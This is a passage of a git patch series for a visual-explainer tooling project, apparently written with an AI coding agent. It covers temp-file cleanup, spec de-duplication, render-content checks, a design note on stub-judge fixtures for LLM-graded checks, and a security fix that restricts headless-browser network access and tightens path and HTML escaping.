timeoutMs: 30 * 60 * 1000, cwd: repoRoot, stdin: 'ignore' }); - if (result.timedOut) return { status: 'timeout', meta: { command: commandMeta(result) } }; - if (result.exitCode === 0) return { source: null, usage: null, meta: { command: commandMeta(result) } }; - const output = `${result.stderr || ''}\n${result.stdout || ''}`; - if (/usage limit|purchase more credits/i.test(output)) { - return { status: 'quota', error: 'codex-cli usage limit reached', meta: { command: commandMeta(result) } }; + try { + const tmpPrompt = path.join(tmpDir, 'prompt.txt'); + await fs.writeFile(tmpPrompt, prompt); + const instruction = `Read ${tmpPrompt} and follow it. Write the source file to ${sourcePath} and do nothing else.`; + const codexArgs = [ + 'exec', + '--sandbox', + 'workspace-write', + '-c', + 'model_reasoning_effort="medium"', + instruction, + ]; + let result; + for (let attempt = 0; attempt < 2; attempt += 1) { + // stdin must be closed: codex sniffs a piped stdin and blocks on it. + result = await runCommand('codex', codexArgs, { timeoutMs: 30 * 60 * 1000, cwd: repoRoot, stdin: 'ignore' }); + if (result.timedOut) return { status: 'timeout', meta: { command: commandMeta(result) } }; + if (result.exitCode === 0) return { source: null, usage: null, meta: { command: commandMeta(result) } }; + const output = `${result.stderr || ''}\n${result.stdout || ''}`; + if (/usage limit|purchase more credits/i.test(output)) { + return { status: 'quota', error: 'codex-cli usage limit reached', meta: { command: commandMeta(result) } }; + } + if (attempt === 0) await sleep(5000); } - if (attempt === 0) await sleep(5000); + throw new Error(`codex-cli failed: ${result.stderr || result.stdout}`); + } finally { + await fs.rm(tmpDir, { recursive: true, force: true }); } - throw new Error(`codex-cli failed: ${result.stderr || result.stdout}`); } function stripCodeFences(source) { diff --git a/scripts/ve-mdx/export.mjs b/scripts/ve-mdx/export.mjs index 6ba8ddb..5d85606 100644 --- a/scripts/ve-mdx/export.mjs +++ b/scripts/ve-mdx/export.mjs @@ -77,47 +77,51 @@ async function main() { const tmpRoot = path.join(repoRoot, '.ve-mdx-tmp'); await fs.mkdir(tmpRoot, { recursive: true }); const tmp = await fs.mkdtemp(path.join(tmpRoot, 'export-')); - const dist = path.join(tmp, 'dist'); - await fs.mkdir(path.join(tmp, 'src'), { recursive: true }); - - await fs.writeFile( - path.join(tmp, 'index.html'), - 'Visual Explainer
', - ); - - await fs.writeFile( - path.join(tmp, 'src/main.jsx'), - `import React from 'react';\nimport { createRoot } from 'react-dom/client';\nimport ${JSON.stringify(viteFsPath(path.join(repoRoot, 'visual-explainer-mdx/global.css')))};\nimport Source from ${JSON.stringify(viteFsPath(source))};\n\ncreateRoot(document.getElementById('root')).render();\n`, - ); - - await build({ - root: tmp, - base: './', - logLevel: 'warn', - plugins: [veMdxPreflightPlugin(source, draft), mdx(), react(), tailwindcss()], - server: { - fs: { - allow: [repoRoot, tmp], + try { + const dist = path.join(tmp, 'dist'); + await fs.mkdir(path.join(tmp, 'src'), { recursive: true }); + + await fs.writeFile( + path.join(tmp, 'index.html'), + 'Visual Explainer
', + ); + + await fs.writeFile( + path.join(tmp, 'src/main.jsx'), + `import React from 'react';\nimport { createRoot } from 'react-dom/client';\nimport ${JSON.stringify(viteFsPath(path.join(repoRoot, 'visual-explainer-mdx/global.css')))};\nimport Source from ${JSON.stringify(viteFsPath(source))};\n\ncreateRoot(document.getElementById('root')).render();\n`, + ); + + await build({ + root: tmp, + base: './', + logLevel: 'warn', + plugins: [veMdxPreflightPlugin(source, draft), mdx(), react(), tailwindcss()], + server: { + fs: { + allow: [repoRoot, tmp], + }, }, - }, - build: { - outDir: dist, - emptyOutDir: true, - assetsInlineLimit: Number.MAX_SAFE_INTEGER, - cssCodeSplit: false, - rollupOptions: { - output: { - inlineDynamicImports: true, + build: { + outDir: dist, + emptyOutDir: true, + assetsInlineLimit: Number.MAX_SAFE_INTEGER, + cssCodeSplit: false, + rollupOptions: { + output: { + inlineDynamicImports: true, + }, }, }, - }, - }); - - const html = await fs.readFile(path.join(dist, 'index.html'), 'utf8'); - const generated = await inlineAssets(html, dist); - await fs.mkdir(path.dirname(out), { recursive: true }); - await fs.writeFile(out, generated); - console.log(`Generated ${out}`); + }); + + const html = await fs.readFile(path.join(dist, 'index.html'), 'utf8'); + const generated = await inlineAssets(html, dist); + await fs.mkdir(path.dirname(out), { recursive: true }); + await fs.writeFile(out, generated); + console.log(`Generated ${out}`); + } finally { + await fs.rm(tmp, { recursive: true, force: true }); + } } function veMdxPreflightPlugin(source, draft) { From bb55e1bb4794e1547faebabee8ff17a6d51b807b Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:19:40 -0700 Subject: [PATCH 14/34] plan 009 step 3: de-duplicate mono-industrial spec legacy-html.md restated the three-layer rule and font budget inline; replace with a pointer to mono-industrial.md as the canonical spec. mono-industrial.md gains a one-line canonical-source note distinguishing the MDX preset tokens (implementation) from the frozen legacy template. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- plugins/visual-explainer/references/legacy-html.md | 2 +- plugins/visual-explainer/references/mono-industrial.md | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/plugins/visual-explainer/references/legacy-html.md b/plugins/visual-explainer/references/legacy-html.md index ee9e5f3..a9b47ac 100644 --- a/plugins/visual-explainer/references/legacy-html.md +++ b/plugins/visual-explainer/references/legacy-html.md @@ -127,7 +127,7 @@ For prose accents, see "Prose Page Elements" in `./css-patterns.md`. For everyth **What aesthetic?** **Default to Mono-Industrial** unless the user names a different one. The other aesthetics listed below remain available, but they are opt-in — they do not rotate in by default. -**Default aesthetic — Mono-Industrial (Swiss, monochrome, typography-first).** Inspired by Nothing, Braun, Teenage Engineering. Hierarchy is built from type scale, weight, and spacing — never from color. Grayscale canvas with status colors only (success / warning / error) on values themselves. Three-layer rule: display, primary, tertiary. Font budget: Space Grotesk + Space Mono + optional Geist Pixel Square for exactly one hero element per page. Zero on-load motion. One "moment of surprise" per page (an oversized number, a vast gap, a pixel-display word, a broken grid). **Before generating, read `./mono-industrial.md`.** For architecture output, base on `../templates/mono-industrial.html`. For slide decks, base on `../templates/mono-industrial-slides.html`. +**Default aesthetic — Mono-Industrial (Swiss, monochrome, typography-first).** Inspired by Nothing, Braun, Teenage Engineering. `./mono-industrial.md` is the canonical spec (three-layer rule, font budget, color system, motion, moment-of-surprise) — **read it before generating**; its rules are not restated here. For architecture output, base on `../templates/mono-industrial.html`. For slide decks, base on `../templates/mono-industrial-slides.html`. **Named alternatives (use only when the user explicitly requests one).** The aesthetics below exist for users who ask for Nothing, Blueprint, Editorial, Paper/ink, Monochrome terminal, or an IDE-inspired palette by name. Do not rotate through them on your own initiative, and do not select them as a "change of pace" for variety. diff --git a/plugins/visual-explainer/references/mono-industrial.md b/plugins/visual-explainer/references/mono-industrial.md index bfb4ff3..3c6e53c 100644 --- a/plugins/visual-explainer/references/mono-industrial.md +++ b/plugins/visual-explainer/references/mono-industrial.md @@ -1,5 +1,7 @@ # Mono-Industrial — Default Aesthetic +Canonical spec for this aesthetic. The MDX preset tokens (`visual-explainer-mdx/global.css`, `data-ve-preset='mono-industrial'`) implement it; `templates/mono-industrial.html` is a frozen legacy rendering. + Swiss typography. Monochrome canvas. Hierarchy through type, weight, and spacing — never through color. This is the default aesthetic for visual-explainer. Produce this unless the user explicitly asks for a named alternative (Blueprint, Editorial, Paper/ink, Monochrome terminal, IDE-inspired). Inspired by Nothing, Braun, Dieter Rams, Teenage Engineering. The vibe is instrument panel, not dashboard. From de3c8c54449de362538b3c14682397da887c3bbe Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:21:19 -0700 Subject: [PATCH 15/34] ve:check: exercise export-static.mjs and assert rendered content is non-trivial MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit export-static.mjs (the documented static-video path in SKILL.md Tier 0) had zero test coverage. Add a static-export leg against examples/visual-explainer-mdx/video-longform.tsx, asserting on its actual output shape: renderToStaticMarkup produces a bare fragment with no build shell, generator marker, id="root", or bundled module script, so assertStaticGenerated checks its real documented contract instead (data-composition-id per hyperframes.md) plus inlined CSS and no stray build-asset refs. Also close a gap in assertGenerated: it passed for a page whose React tree renders empty. A direct "body text length" check on check.mjs's own output is a no-op — that output is client-hydrated, so the raw file is always just `
` regardless of how rich the source is (verified: real pages and a `() => null` source both read 0 chars). Instead, assertSourceRendersContent re-renders each source through export-static.mjs's SSR path to an ephemeral temp file and measures that output's text content, which faithfully reflects the component tree (283-2067 chars across the 14 examples; confirmed 0 for a `() => null` probe during development, per the plan's required negative test). --- scripts/ve-mdx/check.mjs | 82 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) diff --git a/scripts/ve-mdx/check.mjs b/scripts/ve-mdx/check.mjs index 7e8794b..c1dca0e 100644 --- a/scripts/ve-mdx/check.mjs +++ b/scripts/ve-mdx/check.mjs @@ -3,8 +3,10 @@ import fs from 'node:fs/promises'; import path from 'node:path'; import process from 'node:process'; import { spawn } from 'node:child_process'; +import { parseHTML } from 'linkedom'; const repoRoot = process.cwd(); +const MIN_BODY_TEXT_LENGTH = 200; const outputs = [ ['examples/visual-explainer-mdx/pipeline.mdx', 'dist/visual-explainer-mdx/pipeline.html'], ['examples/visual-explainer-mdx/interactive.tsx', 'dist/visual-explainer-mdx/interactive.html'], @@ -35,6 +37,32 @@ function run(args) { }); } +function runStatic(args) { + return new Promise((resolve, reject) => { + const child = spawn(process.execPath, ['scripts/ve-mdx/export-static.mjs', ...args], { + cwd: repoRoot, + stdio: 'inherit', + }); + child.on('exit', (code) => { + if (code === 0) resolve(); + else reject(new Error(`static export failed with exit code ${code}`)); + }); + }); +} + +// Visible document text after scripts/styles are stripped. Catches a React +// tree that renders empty (or near-empty) without tripping any of the shape +// checks. Uses documentElement rather than body: linkedom does not +// foster-parent a fragment root (e.g. a bare
...
, which is what +// ExplainerShell/SlideDeck compositions render) into the way a browser +// parser would, so body.textContent would silently read 0 for those roots. +function documentTextLength(html) { + const { document } = parseHTML(html); + for (const el of [...document.querySelectorAll('script, style')]) el.remove(); + const text = (document.documentElement?.textContent ?? '').replace(/\s+/g, ' ').trim(); + return text.length; +} + async function assertGenerated(filePath) { const html = await fs.readFile(path.resolve(repoRoot, filePath), 'utf8'); const shell = html.replace(//g, ''); @@ -49,11 +77,65 @@ async function assertGenerated(filePath) { if (failures.length) throw new Error(`${filePath}: ${failures.join(', ')}`); } +// check.mjs's `outputs` are client-hydrated (CSR): the raw build artifact is +// always just `
` plus a bundled module script — the +// real page text only exists once that script runs in a browser. Measuring +// "visible text" on that raw file is a no-op (it reads 0 chars for every +// source, working or broken), so it cannot catch a component whose React +// tree renders empty. Instead, render the same SOURCE through +// export-static.mjs's renderToStaticMarkup path (already wired in below) to +// an ephemeral temp file and measure THAT — a faithful, deterministic, +// browser-free reflection of what the component tree actually produces. +async function assertSourceRendersContent(sourcePath) { + const tempOut = path.join(repoRoot, '.ve-mdx-tmp', `content-probe-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2)}.html`); + await fs.mkdir(path.dirname(tempOut), { recursive: true }); + try { + await runStatic([sourcePath, '--out', tempOut]); + const html = await fs.readFile(tempOut, 'utf8'); + const textLength = documentTextLength(html); + if (textLength <= MIN_BODY_TEXT_LENGTH) { + throw new Error(`${sourcePath}: rendered content is only ${textLength} chars (need > ${MIN_BODY_TEXT_LENGTH}) — React tree may be rendering empty`); + } + } finally { + await fs.rm(tempOut, { force: true }); + } +} + +// export-static.mjs renders the source's own returned tree via +// renderToStaticMarkup — there is no build shell, no injected generator +// marker, no id="root", and no bundled + + +
\ No newline at end of file diff --git a/examples/visual-explainer-mdx/clean-rich-page.mdx b/examples/visual-explainer-mdx/clean-rich-page.mdx new file mode 100644 index 0000000..8ebab78 --- /dev/null +++ b/examples/visual-explainer-mdx/clean-rich-page.mdx @@ -0,0 +1,110 @@ +import { + DecisionMatrix, + DiagramCanvas, + DiffBlock, + ExplainerShell, + JsonTree, + Quiz, + Section, +} from '../../visual-explainer-mdx/components'; + +export default function CleanRichPage() { + return ( + +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+
+ ); +} From 7eaa9d08ed3e2f7739e1cc2c61de76ebb8c746c4 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:38:50 -0700 Subject: [PATCH 22/34] =?UTF-8?q?plan=20007=20step=201-2:=20design=20note?= =?UTF-8?q?=20=E2=80=94=20execution-path=20map=20+=20stub-judge=20recommen?= =?UTF-8?q?dation?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Maps where llm-pass/transcript actually execute (nowhere in-process; the JS only marks status, real execution is an external Task-agent protocol per SPEC.md) and recommends mechanism A (stub judge) as the free, deterministic default-gate mechanism, with C (live golden-artifact cron) as an unbuilt backlog idea. No STOP condition triggered. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- plans/007-DESIGN-NOTE.md | 196 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 196 insertions(+) create mode 100644 plans/007-DESIGN-NOTE.md diff --git a/plans/007-DESIGN-NOTE.md b/plans/007-DESIGN-NOTE.md new file mode 100644 index 0000000..a88fe01 --- /dev/null +++ b/plans/007-DESIGN-NOTE.md @@ -0,0 +1,196 @@ +# Design Note: fixture strategy for the 30 non-deterministic checks + +Spike output for plan `007-llm-pass-fixture-strategy.md`. Written 2026-07-06. + +## Step 1: execution-path map + +**Where llm-pass "executes."** It doesn't execute in-process at all. +`plugins/visual-explainer/scripts/verify/lib/engine.mjs:49` short-circuits any +check definition with `stage === 'llm-pass'`: + +```js +if (definition.stage === 'llm-pass') return { ...base, status: 'llm-required', evidence: 'requires focused LLM verification pass' }; +``` + +`engine.mjs:50` does the identical thing for `stage === 'transcript'`: + +```js +if (definition.stage === 'transcript') return { ...base, status: 'transcript', evidence: 'requires transcript verification' }; +``` + +Neither line calls a model, a binary, or an HTTP endpoint. Both stages are +pure markers. `plugins/visual-explainer/scripts/verify/lib/report.mjs:42-53` +(`llmPassesFor`) reads those markers and computes which *pass names* the +orchestrator must run next (`hierarchy`, `aesthetic-`, `completeness`, +`copy`, plus `visual-tells` for page/slides/magazine profiles) — it still +does not call anything, and nothing downstream in +`plugins/visual-explainer/scripts/verify/` ever parses a verdict back into a +check's `status`. + +**What actually runs the rubric.** Per +`plugins/visual-explainer/scripts/verify/SPEC.md:84-101`, the real execution +is an external protocol the calling agent (Claude Code or Codex) follows +*after* the deterministic gate passes: dispatch one Task subagent per rubric +pass — `.claude/agents/ve-verifier-{hierarchy,aesthetic,completeness,copy}.md` +— each reading only its named inputs, e.g. +`plugins/visual-explainer/.claude/agents/ve-verifier-completeness.md:11-18` +(reads `rubrics/pass-completeness.md` + a source-inventory file + an +extracted-text file; explicitly "Do not read page screenshots"). Spot-checked +a second: `plugins/visual-explainer/.claude/agents/ve-verifier-completeness.md` +itself confirms the frontmatter contract (`tools: Read`, output-only-JSON +instruction at lines 20-28). + +**Interface / function signature.** There is none to inject — no +`callModel(prompt)` seam exists anywhere in the JS. The interface boundary is +a prompt contract, not a function: agent definition (frontmatter + Read +tool) + a prompt naming which files to read, and the agent's *entire final +message* must be one JSON object matching a schema repeated verbatim in +every rubric file's "Verdict JSON schema" line: + +```json +{"pass": true, "findings": [{"check_id": "", "evidence": "...", "fix": "..."}]} +``` + +Confirmed identical shape at `rubrics/pass-layout.md:15`, +`rubrics/pass-diagram.md:15`, `rubrics/pass-aesthetic.md:16`, +`rubrics/pass-completeness.md:10`, `rubrics/pass-visual-tells.md:11`, +`rubrics/pass-copy.md`, `rubrics/pass-poster.md`. + +**What each rubric consumes** (from each file's "Inputs:" section): +- `rubrics/pass-layout.md:1-6` (covers `text-visibly-clipped` at line 9 and + `fixed-ui-obscures-content` at line 10): `report.json` + the 4 standard + screenshots (1440×900, 390×844 × light/dark) + candidate-element lists + named by deterministic checks. +- `rubrics/pass-diagram.md:1-6` (`diagram-type-coherent` at line 11): + `report.json` + one screenshot per rendered figure + extracted diagram + label text + a one-line content brief per figure. +- `rubrics/pass-aesthetic.md:1-6` (`preset-both-mode-visual` at line 8): + `report.json` with detected preset + light/dark screenshots + candidate + extracts; loads *only* the active preset's section plus "Any named + preset." +- `rubrics/pass-completeness.md:1-3` (`deck-content-completeness` at line + 7): source inventory + extracted rendered text — **no screenshots** + (line 3 says so explicitly). +- Not in the Step-3 slice but confirms the pattern: `pass-copy.md` gets + filtered prose text only; `pass-poster.md` gets the exported PNG only. + +**What output shape does it parse.** The schema above is what a human/agent +orchestrator reads and acts on manually (SPEC.md:98, "Verdict merge: any +P1–P4 fail → fix → re-run affected pass only"). No code in this repo parses +it. This is the central fact this plan turns on. + +**Where transcript checks read inputs.** Also unimplemented in code +(`engine.mjs:50` is the only touchpoint). Per `checks.json`: +- `reel-no-mid-word-cuts` (`checks.json:2864-2881`) is **fully + deterministic**: cross-reference each clip's cut `data-start` against a + word-level `transcript.json` (`{text, start, end}`); fail if a cut lands + strictly inside a word span (±50ms). `impl_hint` at line 2877 gives the + exact algorithm — no model involved at all. +- `reel-caption-matches-transcript` (`checks.json:2901-2918`, the check this + plan seeds) is **mostly deterministic**: concatenate `.cap` DOM text, + diff word-overlap/edit-distance against the transcript's word sequence for + the same time range, fail below ~90% overlap (`checks.json:2911`). An LLM + tie-break is invoked *only* for the 85–90% borderline band — the common + case is pure string math. + +## STOP-condition check + +The plan's STOP trigger is "the llm-pass stage has no injectable model +interface (calls a hardcoded binary/API inline with no seam)." That is not +what Step 1 found. The actual finding is stronger in our favor: **there is no +model call in-process to have a seam problem with** — llm-pass/transcript +execution is deferred entirely to an external Task-agent protocol that lives +outside this JS codebase. Because Step 3's scope is a *new* runner under +`evals/` (not a modification to `engine.mjs` or the verifier), we can build +the entire seam — canned judge, verdict-to-check-status plumbing — as new +eval-only code without touching production. This is not a refactor of the +verifier; it does not trigger the STOP condition. Proceeding to Step 2. + +## Step 2: mechanism comparison + +| | **A. Stub judge** | **B. Recorded responses** | **C. Golden-artifact live lane** | +|---|---|---|---| +| **Catches** | Plumbing only: does a `findings[].check_id === X` verdict correctly flip check X to fail/pass with the right severity | Plumbing + real model output shape/parsing quirks (formatting, stray prose, schema drift) | End-to-end: rubric wording quality + plumbing + real model behavior | +| **Cost** | Free, no network | One-time paid capture per check, occasional paid refresh | Recurring paid calls (weekly) | +| **Flake risk** | None (fully deterministic) | None at replay time (frozen fixtures); staleness risk if rubric wording changes and recordings aren't refreshed | Real: model variance, rate limits, screenshot rendering flakiness | +| **Maintenance** | Low — fixtures are static JSON, only touched when a check's id/severity changes | Medium — needs a manual refresh script, someone has to eyeball each capture before freezing it | Low-effort per run but needs monitoring/triage of an inherently flaky signal | +| **Default-gate eligible** | Yes | Yes (replay is free) | No — explicitly excluded by plan scope | + +**Why not B for this slice:** B's stated value-add over A is testing +"response-parsing against real model output shapes." Step 1 found there is +currently **no parser at all** to stress-test — the schema is a single flat +JSON shape (`{pass, findings:[{check_id, evidence, fix}]}`) repeated +verbatim across all 7 rubric files with no per-rubric variation. There's no +evidence of parsing fragility to justify a paid capture-and-refresh +pipeline before this schema has even shipped a first consumer. Revisit B if +real usage later shows agents returning malformed/prose-wrapped verdicts. + +**Why C is out of scope for this slice:** matches the plan's explicit +out-of-scope line ("Live-model calls in CI by default"). Recommended as a +**secondary, non-blocking, unimplemented-in-this-slice** idea: an optional +weekly cron lane running 3-5 golden artifacts through a real model, wired up +only if/when rubric-prompt rot becomes a real incident. Not built here. + +### Recommendation + +**Primary: A (stub judge)**, implemented as a new `evals/run-rubrics.mjs` +that owns both the canned-verdict fixtures *and* the minimal +verdict-to-check-status plumbing (since none exists to reuse). This keeps +the default gate free and deterministic, matches the plan's LOW-risk +"additive test scaffolding" framing, and is the only option that requires no +paid API for the default gate while still proving the wiring: "if the judge +said X, does the check correctly fire/not-fire with the right severity." + +**Secondary (backlog, not built now): C**, as a future non-blocking weekly +cron lane, per the plan's Maintenance notes ("stubs can't catch rubric-prompt +rot" — schedule an occasional manual real-model run before releases). + +**One exception to the stub pattern:** `reel-caption-matches-transcript` is +implemented with the *real* deterministic word-overlap algorithm (not a +canned verdict) since Step 1 showed the common-case path needs no model at +all — this is a genuinely stronger test than a stub for this one check, and +is why the plan calls it out as "one transcript check included +deliberately." + +## Fixture naming/layout (mirrors the deterministic suite) + +Deterministic convention: `evals/fixtures/violations/.html` + +`evals/expectations.json` keyed by filename, `must_fire` / `allowed_co_fires`. + +Rubric convention (new, this plan): + +``` +evals/fixtures/rubrics// + fire.json # { "context": "<1-line human label>", "judge_response": {"pass": false, "findings": [{"check_id": "...", "evidence": "...", "fix": "..."}]} } + clean.json # { "context": "...", "judge_response": {"pass": true, "findings": []} } +``` + +This is the literal (artifact, canned-response, expected-check-outcome) +triple from option A's description: `context` stands in for the artifact +description (since the stub doesn't render real HTML/screenshots — it tests +wiring, not rendering), `judge_response` is the canned model output, and the +expected outcome is implicit in the filename (`fire.json` must flip the +check to fail/warn per its `checks.json` severity; `clean.json` must leave it +passing). + +`reel-caption-matches-transcript` deviates because it runs a real algorithm, +not a canned verdict: + +``` +evals/fixtures/rubrics/reel-caption-matches-transcript/ + fire/transcript.json # word-level {text,start,end} narration + fire/captions.json # burned-in .cap text, paraphrased vs. narration (< 90% overlap) + clean/transcript.json + clean/captions.json # verbatim captions (> 90% overlap) +``` + +Both fixture families are asserted by `evals/run-rubrics.mjs`, exposed as +`npm run ve:eval-rubrics`. + +## Parity accounting (Step 5 preview) + +30 llm-pass/transcript checks total − 6 covered by this slice = **24 +remaining**, tracked in `evals/rubric-coverage.json` (not +`evals/parity-allowlist.json` — that file is scoped to plan 003's +deterministic-stage parity gate). Full list confirmed programmatically +against `checks.json` in Step 5. From 72c0fe4dcca6d2d2e37ef9208397d149a9b59653 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:39:44 -0700 Subject: [PATCH 23/34] security: network-isolate verifier/PDF-exporter Chromium and harden gallery escaping Untrusted model-matrix HTML runs in headless Chromium with unrestricted network egress today; add default-deny request routing (allow only file:/data:/blob: plus the measured Google Fonts origins) to both the ve-verify browser stage and the slides-PDF exporter. Also bind the PDF exporter's local asset server to 127.0.0.1 instead of all interfaces, fix its path-prefix check so a sibling directory name (inputdir-x) can no longer bypass the asset-directory scope, and close the missing single-quote case in gallery.mjs's escapeHtml. Measured origins (Step 1, 5 clean fixtures + one real example export): only file: and https://fonts.googleapis.com / https://fonts.gstatic.com. No CDN scripts observed (Mermaid is bundled inline). Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- evals/model-matrix/gallery.mjs | 3 ++- .../visual-explainer/scripts/export-slides-pdf.mjs | 13 ++++++++++--- .../visual-explainer/scripts/verify/lib/browser.mjs | 7 +++++++ 3 files changed, 19 insertions(+), 4 deletions(-) diff --git a/evals/model-matrix/gallery.mjs b/evals/model-matrix/gallery.mjs index 4418401..a3cfe1c 100644 --- a/evals/model-matrix/gallery.mjs +++ b/evals/model-matrix/gallery.mjs @@ -106,7 +106,8 @@ function escapeHtml(value) { .replaceAll('&', '&') .replaceAll('<', '<') .replaceAll('>', '>') - .replaceAll('"', '"'); + .replaceAll('"', '"') + .replaceAll("'", '''); } if (import.meta.url === `file://${process.argv[1]}`) { diff --git a/plugins/visual-explainer/scripts/export-slides-pdf.mjs b/plugins/visual-explainer/scripts/export-slides-pdf.mjs index 7d1da4c..62af33e 100755 --- a/plugins/visual-explainer/scripts/export-slides-pdf.mjs +++ b/plugins/visual-explainer/scripts/export-slides-pdf.mjs @@ -204,12 +204,13 @@ const server = http.createServer((req, res) => { return; } // Serve sibling assets (images, fonts, etc.) from the input's directory. - const assetPath = path.join(inputDir, decodeURIComponent(url.split('?')[0])); - if (!assetPath.startsWith(inputDir) || !fs.existsSync(assetPath)) { + const resolved = path.resolve(inputDir, '.' + path.sep + decodeURIComponent(url.split('?')[0])); + if ((!resolved.startsWith(inputDir + path.sep) && resolved !== inputDir) || !fs.existsSync(resolved)) { res.writeHead(404); res.end('not found'); return; } + const assetPath = resolved; const ext = path.extname(assetPath).toLowerCase(); const ct = { '.png':'image/png', '.jpg':'image/jpeg', '.jpeg':'image/jpeg', @@ -221,7 +222,7 @@ const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': ct }); fs.createReadStream(assetPath).pipe(res); }); -await new Promise(resolve => server.listen(port, resolve)); +await new Promise(resolve => server.listen(port, '127.0.0.1', resolve)); // ---------- 4. Render ---------- const browser = await chromium.launch(); @@ -230,6 +231,12 @@ const context = await browser.newContext({ deviceScaleFactor: 2, }); const page = await context.newPage(); +const ALLOWED_REMOTE = ['https://fonts.googleapis.com', 'https://fonts.gstatic.com', `http://127.0.0.1:${port}`]; +await page.route('**/*', (route) => { + const url = route.request().url(); + const allowed = url.startsWith('file:') || url.startsWith('data:') || url.startsWith('blob:') || ALLOWED_REMOTE.some((origin) => url.startsWith(origin)); + return allowed ? route.continue() : route.abort('blockedbyclient'); +}); try { await page.goto(`http://127.0.0.1:${port}/`, { waitUntil: 'networkidle', timeout: 20000 }); diff --git a/plugins/visual-explainer/scripts/verify/lib/browser.mjs b/plugins/visual-explainer/scripts/verify/lib/browser.mjs index b497960..ba6ed02 100644 --- a/plugins/visual-explainer/scripts/verify/lib/browser.mjs +++ b/plugins/visual-explainer/scripts/verify/lib/browser.mjs @@ -191,6 +191,8 @@ function looksLikeNetworkFlake(run) { return run.failedRequests.every((failure) => /fonts\.(?:googleapis|gstatic)|cdn\.jsdelivr|unpkg|esm\.sh|cdnjs/i.test(failure.url || '')); } +const ALLOWED_REMOTE = ['https://fonts.googleapis.com', 'https://fonts.gstatic.com']; + async function executeRun(browser, ctx, runMeta, screensDir) { const context = await browser.newContext({ viewport: { width: runMeta.width, height: runMeta.height }, @@ -199,6 +201,11 @@ async function executeRun(browser, ctx, runMeta, screensDir) { reducedMotion: runMeta.reducedMotion ? 'reduce' : 'no-preference' }); const page = await context.newPage(); + await page.route('**/*', (route) => { + const url = route.request().url(); + const allowed = url.startsWith('file:') || url.startsWith('data:') || url.startsWith('blob:') || ALLOWED_REMOTE.some((origin) => url.startsWith(origin)); + return allowed ? route.continue() : route.abort('blockedbyclient'); + }); const consoleErrors = []; const pageErrors = []; const failedRequests = []; From 96f6be056ca221e6fea93bdaf28f30008be8ac7e Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:42:48 -0700 Subject: [PATCH 24/34] plan 007 step 3: rubric fixture runner for the first 6-check slice Adds evals/run-rubrics.mjs (mechanism A: stub judge for 5 llm-pass checks + real word-overlap algorithm for reel-caption-matches-transcript), fixture pairs under evals/fixtures/rubrics//{fire,clean}.json, and the ve:eval-rubrics npm script. Covers the 6 highest-priority error-severity checks from the 30-check llm-pass/transcript gap (text-visibly-clipped, fixed-ui-obscures-content, diagram-type-coherent, preset-both-mode-visual, deck-content-completeness, reel-caption-matches-transcript) with a fire + no-fire fixture each. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- .../deck-content-completeness/clean.json | 7 + .../deck-content-completeness/fire.json | 13 ++ .../rubrics/diagram-type-coherent/clean.json | 7 + .../rubrics/diagram-type-coherent/fire.json | 13 ++ .../fixed-ui-obscures-content/clean.json | 7 + .../fixed-ui-obscures-content/fire.json | 13 ++ .../preset-both-mode-visual/clean.json | 7 + .../rubrics/preset-both-mode-visual/fire.json | 13 ++ .../clean/captions.json | 5 + .../clean/transcript.json | 11 ++ .../fire/captions.json | 5 + .../fire/transcript.json | 11 ++ .../rubrics/text-visibly-clipped/clean.json | 7 + .../rubrics/text-visibly-clipped/fire.json | 13 ++ evals/run-rubrics.mjs | 187 ++++++++++++++++++ package.json | 1 + 16 files changed, 320 insertions(+) create mode 100644 evals/fixtures/rubrics/deck-content-completeness/clean.json create mode 100644 evals/fixtures/rubrics/deck-content-completeness/fire.json create mode 100644 evals/fixtures/rubrics/diagram-type-coherent/clean.json create mode 100644 evals/fixtures/rubrics/diagram-type-coherent/fire.json create mode 100644 evals/fixtures/rubrics/fixed-ui-obscures-content/clean.json create mode 100644 evals/fixtures/rubrics/fixed-ui-obscures-content/fire.json create mode 100644 evals/fixtures/rubrics/preset-both-mode-visual/clean.json create mode 100644 evals/fixtures/rubrics/preset-both-mode-visual/fire.json create mode 100644 evals/fixtures/rubrics/reel-caption-matches-transcript/clean/captions.json create mode 100644 evals/fixtures/rubrics/reel-caption-matches-transcript/clean/transcript.json create mode 100644 evals/fixtures/rubrics/reel-caption-matches-transcript/fire/captions.json create mode 100644 evals/fixtures/rubrics/reel-caption-matches-transcript/fire/transcript.json create mode 100644 evals/fixtures/rubrics/text-visibly-clipped/clean.json create mode 100644 evals/fixtures/rubrics/text-visibly-clipped/fire.json create mode 100644 evals/run-rubrics.mjs diff --git a/evals/fixtures/rubrics/deck-content-completeness/clean.json b/evals/fixtures/rubrics/deck-content-completeness/clean.json new file mode 100644 index 0000000..6598e6e --- /dev/null +++ b/evals/fixtures/rubrics/deck-content-completeness/clean.json @@ -0,0 +1,7 @@ +{ + "context": "Every source section, decision card, and table row has a corresponding slide; two short bullets were legitimately consolidated into one.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/deck-content-completeness/fire.json b/evals/fixtures/rubrics/deck-content-completeness/fire.json new file mode 100644 index 0000000..f66d229 --- /dev/null +++ b/evals/fixtures/rubrics/deck-content-completeness/fire.json @@ -0,0 +1,13 